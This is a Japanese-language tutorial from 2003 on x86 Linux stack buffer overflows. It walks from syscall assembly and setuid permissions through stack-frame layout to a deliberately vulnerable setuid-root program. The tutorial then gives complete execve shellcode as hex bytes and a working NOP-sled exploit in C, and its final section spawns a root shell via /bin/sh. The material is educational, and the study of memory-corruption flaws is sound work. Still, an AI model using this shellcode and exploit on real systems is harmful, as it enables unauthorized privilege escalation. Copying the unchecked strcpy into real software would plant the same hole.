[ Stack Buffer Overflow ] ここにはStack Buffer Overflowに関する私の実験の結果を記述しています。 あくまで実験なのでここに書かれてあることが必ずしも正しいとは限らない。 もし間違いなどがあればメールなどで指摘してくれると有難いです。動作確認 は Linux(x86) + gcc で行っています。 >> [ 0x01 ] アセンブラ (write) まずは このファイルを見てみる。 /usr/src/linux-2.4.18/include/asm/unistd.h ------------------------------------------------------------------------------ #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 ................ ........... (続く) ------------------------------------------------------------------------------ writeシステムコールは 4 と記されている。これを利用してアセンブラで HelloWorld!を出力するプログラムを作成してみる。 hello.s ------------------------------------------------------------------------------ .globl main main: jmp L2 L1: popl %ecx movl $0x4,%eax movl $0x1,%ebx movl $0x6,%edx int $0x80 xorl %eax,%eax movl %eax,%ebx inc %eax int $0x80 L2: call L1 .string "Hello\n" ------------------------------------------------------------------------------ bof]$ gcc hello.s -o hello bof]$ ./hello Hello bof]$ writeは3つの引数をとる。 第一引数は 標準入力(0) or 標準出力(1) or 標準エラー出力(2) だ。 第二引数は文字列のポインタ、第三引数は文字列の長さだ。 まず レジスタeax に システムコールwrite を表す 4 をいれる。 ebx には 第一引数を、つまり標準出力(1)をいれる。そして ecx に文字列の アドレス。edx にその文字列の長さだ。int $0x80 によりそれぞれのレジスタ にあてられたデータを元にシステムコールが実行される。つまり標準出力に Helloという文字列が出力されることになる。 しかし最後の行にさらに int $0x80 がある。つまりまたシステムコールを呼 んでることになる。eax = 1 このシステムコールは unistd.h を見てみると exit だ。 ebx = 0 なので exit の第一引数を 0 にした命令を呼んでいるこ とになる。これは exit(0); ということだ。つまり終了を意味する。 >> [ 0x02 ] アセンブラ (execve) しかし、Buffer Overflow のバグで実行させたい命令は Hello を出力するも のなんかでは決してないだろう。 root になって Hello を出力しても意味が ない。やはり任意のプログラムを実行させたい。さてではプログラムを実行さ せる命令をさがしてみよう。unistd.h をみると execve がある。 C で execve を利用するプログラムを書くとこうなるだろう。先ほどつくった hello というプログラムを実行することにする。 char *name[2]; name[0] = "hello"; name[1] = NULL; execve("hello", name, NULL); これをアセンブラで再現したい。 まず eax = 11 はシステムコール番号だ。 ebx には hello という文字列のア ドレスを渡したい。ecx は name だ。そして edx = NULL だ。 さて、では実際に書いてみる。 exe.s ------------------------------------------------------------------------------ .globl main main: jmp L2 L1: popl %esi pushl %ebp movl %esp,%ebp subl $0x8,%esp movl %esi,-8(%ebp) movl $0x0,-4(%ebp) xorl %eax,%eax movb $0xb,%al movl %esi,%ebx leal -8(%ebp),%ecx leal -4(%ebp),%edx int $0x80 xorl %eax,%eax movl %eax,%ebx inc %eax int $0x80 L2: call L1 .string "hello" ------------------------------------------------------------------------------ bof]$ gcc exe.s -o exe bof]$ ./exe Hello bof]$ とりあえず exit の部分はもう理解できるだろう。esi に文字列のアドレスが 入るというのも分かる。 pushl %ebp movl %esp,%ebp subl $0x8,%esp この部分は何だ? これは C で簡単なプログラムを書いてみれば理解できるだろう。 test.c -------------- main() { char a=1; } -------------- bof]$ gcc -S test.c bof]$ cat test.s .file "test.c" .version "01.01" gcc2_compiled.: .text .align 4 .globl main .type main,@function main: pushl %ebp movl %esp,%ebp subl $24,%esp movb $1,-1(%ebp) .L2: leave ret .Lfe1: .size main,.Lfe1-main .ident "GCC: (GNU) 2.95.3 20010315 (release)" bof]$ 変数を確保してそこに 1 を代入するプログラム。ポイントはここだ。 pushl %ebp movl %esp,%ebp subl $24,%esp movb $1,-1(%ebp) -1(%ebp) に 1 をいれている。では char a=1, b=2 として再度見てみる。 pushl %ebp movl %esp,%ebp subl $24,%esp movb $1,-1(%ebp) movb $2,-2(%ebp) なるほど。どうやら変数は ebp から減算していくように使用するようだ。 しかし esp の 24 の減算が気になる。では int c[6] も追加してみよう。 test.c -------------- main() { char a=1,b=2; int c[6]; } -------------- pushl %ebp movl %esp,%ebp subl $40,%esp movb $1,-1(%ebp) movb $2,-2(%ebp) うむ。(int)4*6 + (char)1+1 = 26bytes > 24bytes を使用することになると 減算する値が 40 に増えた。プログラムが使用できるメモリ領域に関係がある ようだ。つまりは %ebp 〜 %esp までが使用できるメモリ領域としているのだ ろう。最後にさらに c[0]=5; c[1]=6; を追加してみる。 test.c -------------- main() { char a=1,b=2; int c[6]; c[0]=5; c[1]=6; } -------------- pushl %ebp movl %esp,%ebp subl $40,%esp movb $1,-1(%ebp) movb $2,-2(%ebp) movl $5,-28(%ebp) movl $6,-24(%ebp) なるほど配列はこのように確保されるのか。c[1]が-24(%ebp)ということは c[5]は -8(%ebp) から上(ebp方向:メモリアドレスから考えれば加算方向)に 4bytes 確保されてるわけだ。 つまり (1byte を '.' で表す。'~'はint型、'^'はchar型) - + %esp[.... .... .... .... .... .... .... .... .... ....]%ebp ~~~~ ~~~~ ~~~~ ~~~~ ~~~~ ~~~~ ^^ c[0] c[1] c[2] c[3] c[4] c[5] ba という風に使われていることが分かる。 ※なおここ(ここから先も含む)で書いている %esp,%ebp はその中に代入さ れているメモリアドレスを表している。%esp,%ebp 自身は レジスタなの でメモリ上には存在しない。 では exe.s にもどる。 pushl %ebp movl %esp,%ebp subl $0x8,%esp つまりこれはこのプログラムが使用できるメモリ量が(つまり確保したメモリ 量が) 8bytes であると予測できる。 movl %esi,-8(%ebp) movl $0x0,-4(%ebp) - + %esp[........]%ebp (1byte を '.' で表す) ^^^^~~~~ ~~~~の所に $0x0 をいれる。^^^^の所に %esi をいれる。 xorl %eax,%eax movb $0xb,%al movl %esi,%ebx leal -8(%ebp),%ecx leal -4(%ebp),%edx int $0x80 ebx には実行すべきファイルのアドレスが入る。(最初に貰って来た%esi) ecx には -8(%ebp) が入る。lea とはCで使われる変数のアドレス(つまりはポ インタ)を使う場合に使用される。同じく edx にも -4(ebp) つまり 0 が入る。 そして execveは実行される。最後には exit があるが、execve が呼ばれた場 合もうこっちには戻ってこないので、必要無いかと思われるが一応書いておい た。 .string "hello" を別のプログラムに変更してもちゃんと動作するはず である。 >> [ 0x03 ] setuid setuid]$ ls -l /etc/shadow -r-------- 1 root root 712 Jan 31 2003 /etc/shadow setuid]$ Linux では /etc/shadow だが他のOSでは /etc/master.passwd かもしれない。 -r-------- これは所有者のみが読み込みだけ許可されているということだ。このファイル の所有者が root であることは分かるだろう。つまり root のみがこのファイ ルを閲覧することが可能であり、他のことはできない。もちろん root 以外の ユーザーはこのファイルを読み込むことも書き込むことも実行することもでき ない。 setuid]$ ls -l setuid.txt -rw-r--r-- 1 kenji group 2365 Oct 4 13:18 setuid.txt setuid]$ ではこれはどうだろうか?これは所有者が kenji でありグループは group で ある。所有者には 読み込みと書き込み権限がありグループには 読み込みの権 限が そして その他のユーザーにも読み込み権限がある。ここまでは基本だろ う。 では setuid とは何なのかというとそれはそのプログラムを実行する時だけは 所有者の権限を与えますよということだ。例えば make.pl ------------------------------------------------------------------------------ #!/usr/bin/perl open(FILE, ">test.txt"); close(FILE); ------------------------------------------------------------------------------ setuid]$ chmod 755 make.pl setuid]$ ./make.pl setuid]$ ls -l -rwxr-xr-x 1 kenji kenji 56 Oct 11 19:06 make.pl* -rw-r--r-- 1 kenji kenji 0 Oct 11 19:06 test.txt setuid]$ これを実行してみよう。(まあ実行せずとも分かるが) test.txt というファイ ルが作られる。ではそのファイルの所有者は誰か?もちろん kenji である。 何故ならkenji が実行したからである。まー当たり前ですけどね(笑)では所 有者を root にして実行してみる。 setuid]$ su Password: root..setuid]# chown root make.pl root..setuid]# exit exit setuid]$ rm test.txt setuid]$ ./make.pl setuid]$ ls -l -rwxr-xr-x 1 root kenji 56 Oct 11 19:06 make.pl* -rw-r--r-- 1 kenji kenji 0 Oct 11 19:06 test.txt setuid]$ やはり test.txt の所有者は kenji だ。ではこれを今度は setuid してやっ てみる。 setuid]$ su Password: root..setuid]# chmod 4755 make.pl root..setuid]# exit exit setuid]$ rm test.txt setuid]$ ./make.pl setuid]$ ls -l -rwsr-xr-x 1 root kenji 56 Oct 11 19:06 make.pl* -rw-r--r-- 1 root kenji 0 Oct 11 19:06 test.txt setuid]$ 今度はなんと kenji で実行したプログラムなのに 所有者が root になってい る。そして make.pl は setuid したことによって -rwsr-xr-x rwsとなっているのがわかるだろうか。これが setuid されてる証拠である。 つまりこのプログラムを実行する場合のみ一時的に root 権限を与えますとい うことだ。このプログラムは kenji が実行したのだが setuid によって root で実行されたということだ。だからs作成されたファイルの所有者が root に なったのだ。 >> [ 0x04 ] Stack領域 まず下記のプログラムを書きます。 ex01.c ------------------------------------------------------------------------------ #include int main(void) { printf("1 "); printf("2 "); printf("3 "); printf("\n"); return 0; } ------------------------------------------------------------------------------ bof]$ gcc ex01.c -o ex01 bof]$ ./ex01 1 2 3 bof]$ なんの変哲もないただのプログラムです。 では、次はちょっと変わった関数を追加してみます。 ex02.c ------------------------------------------------------------------------------ #include int func(void) { char buf[4]; char *ret; ret = buf + 8; *ret += 13; return 0; } int main(void) { func(); printf("1 "); printf("2 "); printf("3 "); printf("\n"); return 0; } ------------------------------------------------------------------------------ bof]$ gcc ex02.c -o ex02 bof]$ 正常にコンパイルできる。しかし実行してもエラーがでたりするかもしれませ ん。あきらかにおかしな命令が入っています。char buf[4] と宣言してるのに buf + 8 のアドレスを ret にいれてます。しかもその buf + 8 の場所の値に 13を可算しています。ではこれを gdb で見てみると。 bof]$ gdb ex02 GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, cov...... ................................... (gdb) disassemble main Dump of assembler code for function main: 0x8048414
: push %ebp 0x8048415 : mov %esp,%ebp 0x8048417 : sub $0x8,%esp 0x804841a : call 0x80483f0 0x804841f : add $0xfffffff4,%esp 0x8048422 : push $0x80484c4 0x8048427 : call 0x8048300 0x804842c : add $0x10,%esp 0x804842f : add $0xfffffff4,%esp 0x8048432 : push $0x80484c7 0x8048437 : call 0x8048300 0x804843c : add $0x10,%esp 0x804843f : add $0xfffffff4,%esp 0x8048442 : push $0x80484ca 0x8048447 : call 0x8048300 0x804844c : add $0x10,%esp 0x804844f : add $0xfffffff4,%esp 0x8048452 : push $0x80484cd 0x8048457 : call 0x8048300 0x804845c : add $0x10,%esp 0x804845f : xor %eax,%eax 0x8048461 : jmp 0x8048463 0x8048463 : leave 0x8048464 : ret 0x8048465 : lea 0x0(%esi,1),%esi 0x8048469 : lea 0x0(%edi,1),%edi End of assembler dump. (gdb) q bof]$ 関数funcが呼ばれてるのは↓だ。 0x804841a : call 0x80483f0 ※関数(mainも含む)には必ず自分(関数自身)が呼ばれた場所を記憶している。何 故ならその関数が終了したら呼出し元に処理を返さなきゃならないからだ。そ の呼出しもとのアドレス(リターンアドレス)を ret と書くことにする。 つまり関数funcのリターンアドレス(ret)にはその次のアドレスが入っている ことになる。具体的にいうと 0x804841f である。もしもこの値を 0x804842c に書き変えることができたらどうだろうか?funcがcallされ実行されそしてま たmain関数にもどって来る。このときリターンアドレス(ret)が正しくない値 に変更されていたならばその場所に飛んでしまうのではないだろうか。 0x804842c このアドレスは一つめのprintf関数のアドレスの次のアドレスであ る。つまり 0x804841f を 0x804842c と変更してしまえば、最初のprintf関数 は実行されないことになってしまうのではないか? 0x804842c - 0x804841f = 0x0d(13) よってこの値(13)をretに足してやれば 0x804842c となり最初のprintf関数が 飛ばされることになるはずだ。 bof]$ ./ex02 2 3 bof]$ 成功だ!さらに、アドレスを 0x804843c にするために 0x804842c - 0x804843c = 0x1d(29) 29を足してやれば二つめのprintf関数も飛ばせるはずだ。 ここで疑問が1つ。 何故 ret がある場所が buf + 8 だと分かっているのか? それは関数のために確保されるメモリ領域(Stack領域)が int func(){ char buf[4]; char name[8]; } の場合 name buf sfp ret [........][....][....][....] のように確保されてるからである。('.'は1Byteを表す)(retはリターンアドレスがある場所) ※フレームポインタは通常、ローカル変数やパラメータを参照する際に固定 値からのオフセットを使用するために用いられる。スタック上保存された フレームポインタをsfp(Saved Frame Pointer)と呼ぶ。BOFにはあまり関 係ないので詳しい説明はしない。 そして int func(int a, int b){ char buf[8]; } と書いた場合は buf sfp ret a b [........][....][....][....][....] のように確保される。では、 int func(){ char buf[5]; } とした場合に buf sfp ret [.....][....][....] と確保されるのか?というとそれは違う。 buf sfp ret [........][....][....] のように確保される。 これはメモリというのはワードサイズの倍数としてのみ割り当てられることが できる。ということらしい。つまり1ワードは4Bytesなわけだから(良く分から ないがそうなってるから)その倍数でしか割り当てが行われないということだ。 よって buf[5] buf[6] buf[7] buf[8]はすべて同じメモリ(8Bytes)を消費する ということだ。同じようにbuf[9]...buf[12]はすべて12Bytesを消費するとい うことだろう。 >> [ 0x05 ] 準備 まず Buffer Overflow のセキュリティ−ホールを持ったプログラムを書く。 root で下のプログラムを書き、コンパイルする。 target.c ------------------------------------------------------------------------------ int main(int argc, char *argv[]) { char buf[512]; if( argc > 1 ){ strcpy( buf, argv[1] ); } return 0; } ------------------------------------------------------------------------------ root..bof]# gcc target.c -o target root..bof]# ./target AAAA root..bof]# これは setuid されてなければならない。 root..bof]# chmod 4705 target root..bof]# ls -l target -rws---r-x 1 root root 13349 Sep 29 22:40 target root..bof]# そして決して見られてはならない秘密のパスワードを出力するプログラムを書 く(笑) sPasswd.c ------------------------------------------------------------------------------ #include int main(void) { printf("秘密のパスワード\n"); return 0; } ------------------------------------------------------------------------------ root..bof]# gcc sPasswd.c -o sPasswd root..bof]# これは決してみられてはならないので root でのみ実行できるようにする。 root..bof]# chmod 100 sPasswd root..bof]# ls -l sPasswd ---x------ 1 root root 13370 Oct 11 22:39 sPasswd root..bof]# これまで出て来たすべてのピースを持ってこよう。まずはターゲットのプログ ラムがある。これは setuid されており BOF のバグがある。実行したいプロ グラムは sPasswd だ。実行権限が root しかない。このプログラムを ユーザー kenji として入り、実行させてやろうと思う。 ではここから 実際に exploit コードを作成する。 >> [ 0x06 ] Shell Code execve を使って sPasswd を実行するシェルコードを書く。これはマシン語と して exploit に埋めこむ。 shell.s ------------------------------------------------------------------------------ .globl main main: jmp L2 L1: popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %al,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 L2: call L1 .string "sPasswd" ------------------------------------------------------------------------------ これはあくまでシェルコードなのでこのままコンパイルして実行してもダメだ。 なので これを実行するための C プログラムを書く。(後述) まず esi に実行すべきプログラムのファイル名のアドレスを持たせる。メモ リ上には sPasswd (7bytes)という文字列が保存される。そして esi が持って いるアドレス(esiの値)に 8 を加算させたアドレスに esi の持っているアド レス(esiの値)を代入する。(ややこしいですが) そして eax を 0 にして 0 を esiの値+7 のアドレスに代入する。さらに 0 を esiの値+0xc(12) のアド レスに代入する。これらを図示すると - + %esi[.... .... .... .... ..........(続く).. ('.'は1Byteを表す) /bin /sh0 %esi 0000 こうなる。callが呼ばれた時に esi に /bin/sh が保存され、次に movl %esi,0x8(%esi) で %esi (正確には esi が持っている/bin/shへのアドレス) が保存される。 そして movb %al,0x7(%esi) で/bin/shの後に 0 が付加される。最後に movl %eax,0xc(%esi) で %esi の後の 0000 が追加される。あとは eax,ebx,ecx,edx それぞれに execve の実行に必要な引数を渡して終了だ。 マシン語に変換する。 bof]$ gcc shell.s -o shell bof]$ bof]$ objdump -d shell|grep \ -A 20 080483c0
: 80483c0: eb 1f jmp 80483e1 080483c2 : 80483c2: 5e pop %esi 80483c3: 89 76 08 mov %esi,0x8(%esi) 80483c6: 31 c0 xor %eax,%eax 80483c8: 88 46 07 mov %al,0x7(%esi) 80483cb: 89 46 0c mov %eax,0xc(%esi) 80483ce: b0 0b mov $0xb,%al 80483d0: 89 f3 mov %esi,%ebx 80483d2: 8d 4e 08 lea 0x8(%esi),%ecx 80483d5: 8d 56 0c lea 0xc(%esi),%edx 80483d8: cd 80 int $0x80 80483da: 31 db xor %ebx,%ebx 80483dc: 89 d8 mov %ebx,%eax 80483de: 40 inc %eax 80483df: cd 80 int $0x80 080483e1 : 80483e1: e8 dc ff ff ff call 80483c2 bof]$ gdb を利用してもいい。 bof]$ gdb shell GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, cov...... ................................... (gdb) x/bx main 0x80483c0
: 0xeb (gdb) 0x80483c1 : 0x1f (gdb) 0x80483c2 : 0x5e (gdb) ... (gdb) ... (gdb) ... ... shelltest.c ------------------------------------------------------------------------------ unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xffsPasswd"; int main(void) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; return 0; } ------------------------------------------------------------------------------ bof]$ gcc shelltest.c bof]$ ./a.out bof]$ 実行権限がないのでexecveが成功しなかったようだ。rootになってやってみる。 bof]$ su Password: [root..bof]# ./a.out 秘密のパスワード [root..bof]# 見事成功だ。 シェルコードを書く上でひとつ注意しなければならないことがある。それは 0x00 を持たせられないことだ。char shellcode配列の中に 0x00 があると文 字列の終了となりシェルコードを最後まで実行してくれない。そのために shell.sでは xorl を使ったりして 0 を作っているし、また eax ではなく al に代入してるのもそのためである。 >> [ 0x07 ] Exploit スタックの仕組みはわかった。シェルコードもある。ここからどうやって Exploitを書いていくのか? まずはスタックのアドレスを知る必要がある。 ex04.c ------------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } int main(void) { printf("0x%x\n", get_sp()); return 0; } ------------------------------------------------------------------------------ bof]$ gcc ex04.c -o ex04 bof]$ ./ex04 0xbffff754 bof]$ これはこのプログラムのスタックのトップだ。ターゲットのプログラムのスタッ クとはなんの関係もない。(当たり前だが) さて、ここで少し考えてみよう。 ターゲットのプログラムは512バイトの領域を確保している。このプログラム は変数は使用していない。つまりこのプログラムのスタックの位置に512バイ トくらい(あくまで「くらい」だ)の数値を減算してやればターゲットプログラ ムのスタックの位置の近いところにくるのではないか?と仮定できる。しかし だとしてもあくまで近いところでしかない。ターゲットプログラムの512バイ トにはシェルコードが入る。そのシェルコードを実行するためにシェルコード の最初のアドレスを正確に知る必要があるんじゃないか?これはほとんど不可 能だ。そしてその正確な値をretに書き込まなければならない。 さてどうしたものか.... これを解決するのがNOPだ。NOP とは何も行わないという命令だ。つまり ターゲットのスタック(NはNOP命令、Sはシェルコード、Aはシェルの最初のアドレス) buf(引数からもらう) sfp ret [...............................(512)][....][....] NNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSSAAAAAAAAAAAAAAAA... このようにターゲットのスタックを埋める。 まず最初に512の大半をNOPで埋める。そしてその後にシェルコードを書いてそ の後をAで埋める。しかしAを知ることはほとんど不可能じゃないのか?もちろ んそうだ。正確に知ることは不可能だろう。しかしある程度近くまでなら推測 できるのだ。だからターゲットのスタックの大半をNOPで埋めてやれば、ある 程度近い場所にさえいけばNOPに当たる可能性が高い。NOPに当たればNOP自体 は何もしないのでそのまま進んで行きシェルコードに入る。つまりNOPで埋め れば埋めるほどシェルコードが実行される確率が高くなるのだ。別に正確なシェ ルコードの頭を知らなくとも、NOPのどれかにあたってくれればシェルコード は実行される。これが Stack Buffer Overflow の面白いところだ。 まとめよう。 retにはシェルコードの後にAを書き込んでいけばいずれ上書きされる。Aは希 望的観測でだいたいこの辺だろうというアドレスだ。それはExploitプログラ ムのスタック位置からターゲットのスタックのだいたいの位置を推測してそれ がNOPであることを祈る。(これは祈るのみ(笑))しかしターゲットのスタッ クのほとんどをNOPで埋めておけば問題ないだろう。NとAの間にシェルコード を書き込む。ターゲットは引数からうけとった文字列をそのまま512バイトの 配列にいれるのでexploitで600バイトくらいの文字列を作る。それはもちろん 上記にかいたようにNNNNNNNNNNNNNSSSSSAAAAAAというような文字列だ。 AがうまくNOPのいずれかを指し示していたならばシェルコードが実行される。 もちろんターゲットは root に setuid されているのでroot権限で実行される。 するとroot権限でシェルコードのexecveが実行されることになりこれにより sPasswdが実行されることになる。これで無事「秘密のパスワード」が見れる というわけだ。もちろん秘密のパスワードに興味がない人は他のプログラムで も良い。権限は root なのでどんなプログラムでも実行可能だろう。 exploit.c ------------------------------------------------------------------------------ #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 unsigned char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xffsPasswd"; unsigned long get_sp(void){ __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset, bsize, i; bsize = DEFAULT_BUFFER_SIZE; offset = DEFAULT_OFFSET; if(argc > 1) bsize = atoi(argv[1]); if(argc > 2) offset = atoi(argv[2]); if(!(buff = malloc(bsize))){ // printf("malloc.\n"); exit(0); } addr = get_sp() - offset; // printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for(i=0; i < bsize; i+=4) *(addr_ptr++) = addr; for(i=0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for(i=0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; printf("%s",buff); free(buff); return 0; } ------------------------------------------------------------------------------ bof]$ gcc exploit.c -o exploit bof]$ bof]$ ./target `./exploit 612` 秘密のパスワード bof]$ まずは addr = get_sp() - offset; でAを取得している。offsetはだいたいの推測を実行する方に委せている。 ptr = buff; addr_ptr = (long *) ptr; for(i=0; i < bsize; i+=4) *(addr_ptr++) = addr; これはbuf配列のすべてをA(シェルコードのトップのアドレス)で埋めている。 Aは正確なアドレスではなくNOPを指し示してるかもしれないアドレスというのは 説明ずみである。 for(i=0; i < bsize/2; i++) buff[i] = NOP; そして半分をNOPで埋める。最後に ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for(i=0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; シェルコードをNOPの後にいれて見事完成である。 あとはこれをターゲットの引数に渡してやれば Buffer Overflow で秘密のパ スワードが閲覧できるということだ。 以下追記: (2004/02/25) 例えば Buffer Overflow のバグをついて /bin/sh を実行させるテストをする ばあいにこのサンプルのままでは shellcode配列の最後の部分の sPasswd を /bin/sh に変更しただけでは、root での /bin/sh を実行できないばあいがあ る。 注:"sPasswd"と"/bin/sh"は文字列の長さが同じなのでshellcodeの全体を 変更しなくとも良い。ただし、もし長さが違うプログラムを対象にした いばあいは再びマシン語レベルので変更をおこなってください)。 実際に私が exploit.c のshellcode配列の最後のsPasswdを/bin/shに変更して 試してみたら。 bof]$ ./target `./exploit 612` sh-2.04$ whoami kenji sh-2.04$ exit exit bof]$ というようにroot権限でシェル起動プログラム"/bin/sh"を実行したにもかか わらず whoami で調べてみると root権限 では無かった。 この問題を解決するためには、setuid(0) をターゲットプログラムに追加しな ければならない。次にサンプルプログラムをのせる。 target2.c ------------------------------------------------------------------------------ int main(int argc, char *argv[]) { char buf[512]; if( argc > 1 ){ setuid(0); strcpy( buf, argv[1] ); } return 0; } ------------------------------------------------------------------------------ bof]$ ./target2 `./exploit 612` sh-2.04# whoami root sh-2.04# exit exit bof]$ exploit.c はshellcode配列の最後のsPasswdを/bin/shに変更するだけでよい ので、ソースは割愛します。これによりrootを取得したあとは、どんなコマン ドでも可能なのでやりたいほうだいやっほーーーー。ということになります。 Buffer Overflow を利用しての攻撃条件は、まず「ターゲットプログラムが rootにsetiudされていること」が絶対条件となります。そしてそのプログラム が例えばstrcpyなどを利用していて「確保したメモリ以上の書き込みがおこな えることです」これらの条件がそろったプログラムが存在すれば、root権限を 取得することができるということになります。プログラムを組む場合はこれら の危険性を十分認識したうえで書くことがセキュリティホールを減らすことに 繋がるのではないでしょうか。 まぁ、なにはともあれ、Buffer Overflow は楽しめます(^^; まだまだ奥が深 いのでいろいろと研究してみるのもおもしろいかと思われます。 参考資料 スタック破りの楽しみと恩恵 http://www.itfrontier.co.jp/sec/directory/Phrack49-14.html End. written by kenji aiko 2003/10/12 2003/10/16 一部記述誤りを修正 2003/10/26 参考資料追加 2004/02/25 さいごの方に少し追記 Copyright (C) 2003 kenji aiko All Rights Reserved